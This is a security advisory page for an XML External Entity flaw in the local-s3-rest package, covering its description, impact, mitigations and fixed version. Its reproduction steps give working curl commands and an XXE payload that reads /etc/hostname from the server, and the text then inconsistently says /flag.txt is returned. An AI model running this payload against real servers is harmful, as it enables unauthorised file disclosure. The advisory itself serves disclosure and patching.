🛡️ GHSA-2466-4485-4pxj — local-s3-rest

⚪ Unknown ✅ No Known Exploit CWE-611 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

1. Create a test bucket using PUT request to http://[server]/[bucket-name]

```

curl -X PUT "http://app/xxe-test-bucket2"```

```

2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

```

curl -X PUT "http://app/xxe-test-bucket2?acl" \

-H "Content-Type: application/xml" \

-d '<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE AccessControlPolicy [

<!ENTITY xxe SYSTEM "file:///etc/hostname" >

]>

<AccessControlPolicy>

<Owner>

<ID>&xxe;</ID>

<DisplayName>test</DisplayName>

</Owner>

<AccessControlList>

<Grant>

<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">

<ID>test</ID>

<DisplayName>test</DisplayName>

</Grantee>

<Permission>FULL_CONTROL</Permission>

</Grant>

</AccessControlList>

</AccessControlPolicy>'

```

3. Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL

```

curl "http://app/xxe-test-bucket2?acl"

```

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

  • Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
  • Disable DOCTYPE declarations in the XML parser configuration
  • Implement XML input validation and sanitization before processing
  • Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity low, availability low.

Weakness class

GHSA-2466-4485-4pxj is classified as CWE-611: XML External Entity Reference (XXE). An XML parser resolves external entities, letting a crafted document read local files or reach internal services.

Affected software

GHSA-2466-4485-4pxj is recorded against 1 package.

  • io.github.robothy:local-s3-rest (fixed in 1.21)

Timeline and source

Published on 10 March 2025. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CWE CWE-611
Public Exploit ✅ No
Source OSV
Published 2025-03-10
Updated 2026-08-12
Modified 2025-03-10
Fix URL N/A

Affected Packages

Software From version Fixed in
io.github.robothy:local-s3-rest 1.21

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-2466-4485-4pxj?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-2466-4485-4pxj and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.